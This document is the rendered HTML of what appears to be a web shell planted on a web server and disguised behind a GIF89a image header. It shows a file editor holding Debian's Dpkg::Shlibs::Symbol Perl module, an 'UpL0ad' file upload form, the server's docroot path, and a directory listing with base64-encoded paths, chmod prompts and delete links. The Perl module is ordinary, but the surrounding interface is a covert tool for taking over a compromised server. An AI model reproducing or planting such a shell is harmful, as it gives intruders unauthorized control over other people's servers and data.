GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>Symbol.pm<form method=post action="?d=L3Vzci9zaGFyZS9wZXJsNS9EcGtnL1NobGlicw%3D%3D&f=U3ltYm9sLnBt"><input name="f" value="Symbol.pm"><textarea name="t"># Copyright  2007 Raphal Hertzog &lt;hertzog@debian.org&gt;
# Copyright  2009-2010 Modestas Vainius &lt;modax@debian.org&gt;
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see &lt;https://www.gnu.org/licenses/&gt;.

=encoding utf8

=head1 NAME

Dpkg::Shlibs::Symbol - represent an object file symbol

=head1 DESCRIPTION

This module provides a class to handle symbols from an executable or
shared object file.

B&lt;Note&gt;: This is a private module, its API can change at any time.

=cut

package Dpkg::Shlibs::Symbol 0.01;

use strict;
use warnings;

use Storable ();
use List::Util qw(any);

use Dpkg::Gettext;
use Dpkg::ErrorHandling;
use Dpkg::Arch qw(debarch_is_concerned debarch_to_abiattrs);
use Dpkg::Version;
use Dpkg::Shlibs::Cppfilt;

# Supported alias types in the order of matching preference
use constant ALIAS_TYPES =&gt; qw(
    c++
    symver
);

sub new {
    my ($this, %args) = @_;
    my $class = ref($this) || $this;
    my $self = bless {
	symbol =&gt; undef,
	symbol_templ =&gt; undef,
	minver =&gt; undef,
	dep_id =&gt; 0,
	deprecated =&gt; 0,
	tags =&gt; {},
	tagorder =&gt; [],
    }, $class;
    $self-&gt;{$_} = $args{$_} foreach keys %args;
    return $self;
}

# Deep clone
sub clone {
    my ($self, %args) = @_;
    my $clone = Storable::dclone($self);
    $clone-&gt;{$_} = $args{$_} foreach keys %args;
    return $clone;
}

sub parse_tagspec {
    my ($self, $tagspec) = @_;

    if ($tagspec =~ /^\s*\((.*?)\)(.*)$/ &amp;&amp; $1) {
	# (tag1=t1 value|tag2|...|tagN=tNp)
	# Symbols ()|= cannot appear in the tag names and values
	$tagspec = $1;
	my $rest = ($2) ? $2 : '';
	my @tags = split(/\|/, $tagspec);

	# Parse each tag
	for my $tag (@tags) {
	    if ($tag =~ /^(.*)=(.*)$/) {
		# Tag with value
		$self-&gt;add_tag($1, $2);
	    } else {
		# Tag without value
		$self-&gt;add_tag($tag, undef);
	    }
	}
	return $rest;
    }
    return;
}

sub parse_symbolspec {
    my ($self, $symbolspec, %opts) = @_;
    my $symbol;
    my $symbol_templ;
    my $symbol_quoted;
    my $rest;

    if (defined($symbol = $self-&gt;parse_tagspec($symbolspec))) {
	# (tag1=t1 value|tag2|...|tagN=tNp)&quot;Foo::Bar::foobar()&quot;@Base 1.0 1
	# Symbols ()|= cannot appear in the tag names and values

	# If the tag specification exists symbol name template might be quoted too
	if ($symbol =~ /^(['&quot;])/ &amp;&amp; $symbol =~ /^($1)(.*?)$1(.*)$/) {
	    $symbol_quoted = $1;
	    $symbol_templ = $2;
	    $symbol = $2;
	    $rest = $3;
	} elsif ($symbol =~ m/^(\S+)(.*)$/) {
            $symbol_templ = $1;
            $symbol = $1;
            $rest = $2;
	}
	error(g_('symbol name unspecified: %s'), $symbolspec) if (!$symbol);
    } elsif ($symbolspec =~ m/^(\S+)(.*)$/) {
	# No tag specification. Symbol name is up to the first space
	# foobarsymbol@Base 1.0 1
        $symbol = $1;
        $rest = $2;
    } else {
        return 0;
    }
    $self-&gt;{symbol} = $symbol;
    $self-&gt;{symbol_templ} = $symbol_templ;
    $self-&gt;{symbol_quoted} = $symbol_quoted if ($symbol_quoted);

    # Now parse &quot;the rest&quot; (minver and dep_id)
    if ($rest =~ /^\s(\S+)(?:\s(\d+))?/) {
	$self-&gt;{minver} = $1;
	$self-&gt;{dep_id} = $2 // 0;
    } elsif (defined $opts{default_minver}) {
	$self-&gt;{minver} = $opts{default_minver};
	$self-&gt;{dep_id} = 0;
    } else {
	return 0;
    }
    return 1;
}

# A hook for symbol initialization (typically processing of tags). The code
# here may even change symbol name. Called from
# Dpkg::Shlibs::SymbolFile::create_symbol().
sub initialize {
    my $self = shift;

    # Look for tags marking symbol patterns. The pattern may match multiple
    # real symbols.
    my $type;
    if ($self-&gt;has_tag('c++')) {
	# Raw symbol name is always demangled to the same alias while demangled
	# symbol name cannot be reliably converted back to raw symbol name.
	# Therefore, we can use hash for mapping.
	$type = 'alias-c++';
    }

    # Support old style wildcard syntax. That's basically a symver
    # with an optional tag.
    if ($self-&gt;get_symbolname() =~ /^\*@(.*)$/) {
	$self-&gt;add_tag('symver') unless $self-&gt;has_tag('symver');
	$self-&gt;add_tag('optional') unless $self-&gt;has_tag('optional');
	$self-&gt;{symbol} = $1;
    }

    if ($self-&gt;has_tag('symver')) {
	# Each symbol is matched against its version rather than full
	# name@version string.
	$type = (defined $type) ? 'generic' : 'alias-symver';
        if ($self-&gt;get_symbolname() =~ /@/) {
            warning(g_('symver tag with versioned symbol will not match: %s'),
                    $self-&gt;get_symbolspec(1));
        }
	if ($self-&gt;get_symbolname() eq 'Base') {
	    error(g_(&quot;you can't use symver tag to catch unversioned symbols: %s&quot;),
	          $self-&gt;get_symbolspec(1));
	}
    }

    # As soon as regex is involved, we need to match each real
    # symbol against each pattern (aka 'generic' pattern).
    if ($self-&gt;has_tag('regex')) {
	$type = 'generic';
	# Pre-compile regular expression for better performance.
	my $regex = $self-&gt;get_symbolname();
	$self-&gt;{pattern}{regex} = qr/$regex/;
    }
    if (defined $type) {
	$self-&gt;init_pattern($type);
    }
}

sub get_symbolname {
    my $self = shift;

    return $self-&gt;{symbol};
}

sub get_symboltempl {
    my $self = shift;

    return $self-&gt;{symbol_templ} || $self-&gt;{symbol};
}

sub set_symbolname {
    my ($self, $name, $templ, $quoted) = @_;

    $name //= $self-&gt;{symbol};
    if (!defined $templ &amp;&amp; $name =~ /\s/) {
	$templ = $name;
    }
    if (!defined $quoted &amp;&amp; defined $templ &amp;&amp; $templ =~ /\s/) {
	$quoted = '&quot;';
    }
    $self-&gt;{symbol} = $name;
    $self-&gt;{symbol_templ} = $templ;
    if ($quoted) {
	$self-&gt;{symbol_quoted} = $quoted;
    } else {
	delete $self-&gt;{symbol_quoted};
    }
}

sub has_tags {
    my $self = shift;
    return scalar (@{$self-&gt;{tagorder}});
}

sub add_tag {
    my ($self, $tagname, $tagval) = @_;
    if (exists $self-&gt;{tags}{$tagname}) {
	$self-&gt;{tags}{$tagname} = $tagval;
	return 0;
    } else {
	$self-&gt;{tags}{$tagname} = $tagval;
	push @{$self-&gt;{tagorder}}, $tagname;
    }
    return 1;
}

sub delete_tag {
    my ($self, $tagname) = @_;
    if (exists $self-&gt;{tags}{$tagname}) {
	delete $self-&gt;{tags}{$tagname};
        $self-&gt;{tagorder} = [ grep { $_ ne $tagname } @{$self-&gt;{tagorder}} ];
	return 1;
    }
    return 0;
}

sub has_tag {
    my ($self, $tag) = @_;
    return exists $self-&gt;{tags}{$tag};
}

sub get_tag_value {
    my ($self, $tag) = @_;
    return $self-&gt;{tags}{$tag};
}

# Checks if the symbol is equal to another one (by name and optionally,
# tag sets, versioning info (minver and depid))
sub equals {
    my ($self, $other, %opts) = @_;
    $opts{versioning} //= 1;
    $opts{tags} //= 1;

    return 0 if $self-&gt;{symbol} ne $other-&gt;{symbol};

    if ($opts{versioning}) {
	return 0 if $self-&gt;{minver} ne $other-&gt;{minver};
	return 0 if $self-&gt;{dep_id} ne $other-&gt;{dep_id};
    }

    if ($opts{tags}) {
	return 0 if scalar(@{$self-&gt;{tagorder}}) != scalar(@{$other-&gt;{tagorder}});

	for my $i (0 .. scalar(@{$self-&gt;{tagorder}}) - 1) {
	    my $tag = $self-&gt;{tagorder}-&gt;[$i];
	    return 0 if $tag ne $other-&gt;{tagorder}-&gt;[$i];
	    if (defined $self-&gt;{tags}{$tag} &amp;&amp; defined $other-&gt;{tags}{$tag}) {
		return 0 if $self-&gt;{tags}{$tag} ne $other-&gt;{tags}{$tag};
	    } elsif (defined $self-&gt;{tags}{$tag} || defined $other-&gt;{tags}{$tag}) {
		return 0;
	    }
	}
    }

    return 1;
}


sub is_optional {
    my $self = shift;
    return $self-&gt;has_tag('optional');
}

sub is_arch_specific {
    my $self = shift;
    return $self-&gt;has_tag('arch');
}

sub arch_is_concerned {
    my ($self, $arch) = @_;
    my $arches = $self-&gt;{tags}{arch};

    return 0 if defined $arch &amp;&amp; defined $arches &amp;&amp;
                !debarch_is_concerned($arch, split /[\s,]+/, $arches);

    my ($bits, $endian) = debarch_to_abiattrs($arch);
    return 0 if defined $bits &amp;&amp; defined $self-&gt;{tags}{'arch-bits'} &amp;&amp;
                $bits ne $self-&gt;{tags}{'arch-bits'};
    return 0 if defined $endian &amp;&amp; defined $self-&gt;{tags}{'arch-endian'} &amp;&amp;
                $endian ne $self-&gt;{tags}{'arch-endian'};

    return 1;
}

# Get reference to the pattern the symbol matches (if any)
sub get_pattern {
    my $self = shift;

    return $self-&gt;{matching_pattern};
}

### NOTE: subroutines below require (or initialize) $self to be a pattern ###

# Initializes this symbol as a pattern of the specified type.
sub init_pattern {
    my ($self, $type) = @_;

    $self-&gt;{pattern}{type} = $type;
    # To be filled with references to symbols matching this pattern.
    $self-&gt;{pattern}{matches} = [];
}

# Is this symbol a pattern or not?
sub is_pattern {
    my $self = shift;

    return exists $self-&gt;{pattern};
}

# Get pattern type if this symbol is a pattern.
sub get_pattern_type {
    my $self = shift;

    return $self-&gt;{pattern}{type} // '';
}

# Get (sub)type of the alias pattern. Returns empty string if current
# pattern is not alias.
sub get_alias_type {
    my $self = shift;

    return ($self-&gt;get_pattern_type() =~ /^alias-(.+)/ &amp;&amp; $1) || '';
}

# Get a list of symbols matching this pattern if this symbol is a pattern
sub get_pattern_matches {
    my $self = shift;

    return @{$self-&gt;{pattern}{matches}};
}

# Create a new symbol based on the pattern (i.e. $self)
# and add it to the pattern matches list.
sub create_pattern_match {
    my $self = shift;
    return unless $self-&gt;is_pattern();

    # Leave out 'pattern' subfield while deep-cloning
    my $pattern_stuff = $self-&gt;{pattern};
    delete $self-&gt;{pattern};
    my $newsym = $self-&gt;clone(@_);
    $self-&gt;{pattern} = $pattern_stuff;

    # Clean up symbol name related internal fields
    $newsym-&gt;set_symbolname();

    # Set newsym pattern reference, add to pattern matches list
    $newsym-&gt;{matching_pattern} = $self;
    push @{$self-&gt;{pattern}{matches}}, $newsym;
    return $newsym;
}

### END of pattern subroutines ###

# Given a raw symbol name the call returns its alias according to the rules of
# the current pattern ($self). Returns undef if the supplied raw name is not
# transformable to alias.
sub convert_to_alias {
    my ($self, $rawname, $type) = @_;
    $type = $self-&gt;get_alias_type() unless $type;

    if ($type) {
	if ($type eq 'symver') {
	    # In case of symver, alias is symbol version. Extract it from the
	    # rawname.
	    return &quot;$1&quot; if ($rawname =~ /\@([^@]+)$/);
	} elsif ($rawname =~ /^_Z/ &amp;&amp; $type eq 'c++') {
	    return cppfilt_demangle_cpp($rawname);
	}
    }
    return;
}

sub get_tagspec {
    my $self = shift;
    if ($self-&gt;has_tags()) {
	my @tags;
	for my $tagname (@{$self-&gt;{tagorder}}) {
	    my $tagval = $self-&gt;{tags}{$tagname};
	    if (defined $tagval) {
		push @tags, $tagname . '='  . $tagval;
	    } else {
		push @tags, $tagname;
	    }
	}
	return '(' . join('|', @tags) . ')';
    }
    return '';
}

sub get_symbolspec {
    my $self = shift;
    my $template_mode = shift;
    my $spec = '';
    $spec .= &quot;#MISSING: $self-&gt;{deprecated}#&quot; if $self-&gt;{deprecated};
    $spec .= ' ';
    if ($template_mode) {
	if ($self-&gt;has_tags()) {
	    $spec .= sprintf('%s%3$s%s%3$s', $self-&gt;get_tagspec(),
		$self-&gt;get_symboltempl(), $self-&gt;{symbol_quoted} // '');
	} else {
	    $spec .= $self-&gt;get_symboltempl();
	}
    } else {
	$spec .= $self-&gt;get_symbolname();
    }
    $spec .= &quot; $self-&gt;{minver}&quot;;
    $spec .= &quot; $self-&gt;{dep_id}&quot; if $self-&gt;{dep_id};
    return $spec;
}

# Sanitize the symbol when it is confirmed to be found in
# the respective library.
sub mark_found_in_library {
    my ($self, $minver, $arch) = @_;

    if ($self-&gt;{deprecated}) {
	# Symbol reappeared somehow
	$self-&gt;{deprecated} = 0;
	$self-&gt;{minver} = $minver if (not $self-&gt;is_optional());
    } elsif (version_compare($minver, $self-&gt;{minver}) &lt; 0) {
	# We assume that the right dependency information is already
	# there.
        $self-&gt;{minver} = $minver;
    }
    # Never remove arch tags from patterns
    if (not $self-&gt;is_pattern()) {
	if (not $self-&gt;arch_is_concerned($arch)) {
	    # Remove arch tags because they are incorrect.
	    $self-&gt;delete_tag('arch');
	    $self-&gt;delete_tag('arch-bits');
	    $self-&gt;delete_tag('arch-endian');
	}
    }
}

# Sanitize the symbol when it is confirmed to be NOT found in
# the respective library.
# Mark as deprecated those that are no more provided (only if the
# minver is later than the version where the symbol was introduced)
sub mark_not_found_in_library {
    my ($self, $minver, $arch) = @_;

    # Ignore symbols from foreign arch
    return if not $self-&gt;arch_is_concerned($arch);

    if ($self-&gt;{deprecated}) {
	# Bump deprecated if the symbol is optional so that it
	# keeps reappearing in the diff while it's missing
	$self-&gt;{deprecated} = $minver if $self-&gt;is_optional();
    } elsif (version_compare($minver, $self-&gt;{minver}) &gt; 0) {
	$self-&gt;{deprecated} = $minver;
    }
}

# Checks if the symbol (or pattern) is legitimate as a real symbol for the
# specified architecture.
sub is_legitimate {
    my ($self, $arch) = @_;
    return ! $self-&gt;{deprecated} &amp;&amp;
           $self-&gt;arch_is_concerned($arch);
}

# Determine whether a supplied raw symbol name matches against current ($self)
# symbol or pattern.
sub matches_rawname {
    my ($self, $rawname) = @_;
    my $target = $rawname;
    my $ok = 1;
    my $do_eq_match = 1;

    if ($self-&gt;is_pattern()) {
	# Process pattern tags in the order they were specified.
	for my $tag (@{$self-&gt;{tagorder}}) {
	    if (any { $tag eq $_ } ALIAS_TYPES) {
		$ok = not not ($target = $self-&gt;convert_to_alias($target, $tag));
	    } elsif ($tag eq 'regex') {
		# Symbol name is a regex. Match it against the target
		$do_eq_match = 0;
		$ok = ($target =~ $self-&gt;{pattern}{regex});
	    }
	    last if not $ok;
	}
    }

    # Equality match by default
    if ($ok &amp;&amp; $do_eq_match) {
	$ok = $target eq $self-&gt;get_symbolname();
    }
    return $ok;
}

=head1 CHANGES

=head2 Version 0.xx

This is a private module.

=cut

1;
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/perl5/Dpkg/Shlibs<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EcGtnL1NobGlicw=="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EcGtnL1NobGlicw==&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EcGtn"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EcGtnL1NobGlicw==&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EcGtnL1NobGlicw==&x=Q3BwZmlsdC5wbQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EcGtnL1NobGlicw==&f=Q3BwZmlsdC5wbQ=="/>Cppfilt.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EcGtnL1NobGlicw==&f=Q3BwZmlsdC5wbQ==&c=`+btoa(c):0" value="0644"></td><td>3865</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EcGtnL1NobGlicy9PYmpkdW1w"/>Objdump</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EcGtnL1NobGlicw==&f=T2JqZHVtcA==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EcGtnL1NobGlicw==&x=T2JqZHVtcC5wbQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EcGtnL1NobGlicw==&f=T2JqZHVtcC5wbQ=="/>Objdump.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EcGtnL1NobGlicw==&f=T2JqZHVtcC5wbQ==&c=`+btoa(c):0" value="0644"></td><td>9266</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EcGtnL1NobGlicw==&x=U3ltYm9sLnBt">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EcGtnL1NobGlicw==&f=U3ltYm9sLnBt"/>Symbol.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EcGtnL1NobGlicw==&f=U3ltYm9sLnBt&c=`+btoa(c):0" value="0644"></td><td>14321</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EcGtnL1NobGlicw==&x=U3ltYm9sRmlsZS5wbQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EcGtnL1NobGlicw==&f=U3ltYm9sRmlsZS5wbQ=="/>SymbolFile.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EcGtnL1NobGlicw==&f=U3ltYm9sRmlsZS5wbQ==&c=`+btoa(c):0" value="0644"></td><td>22217</td></tr></table>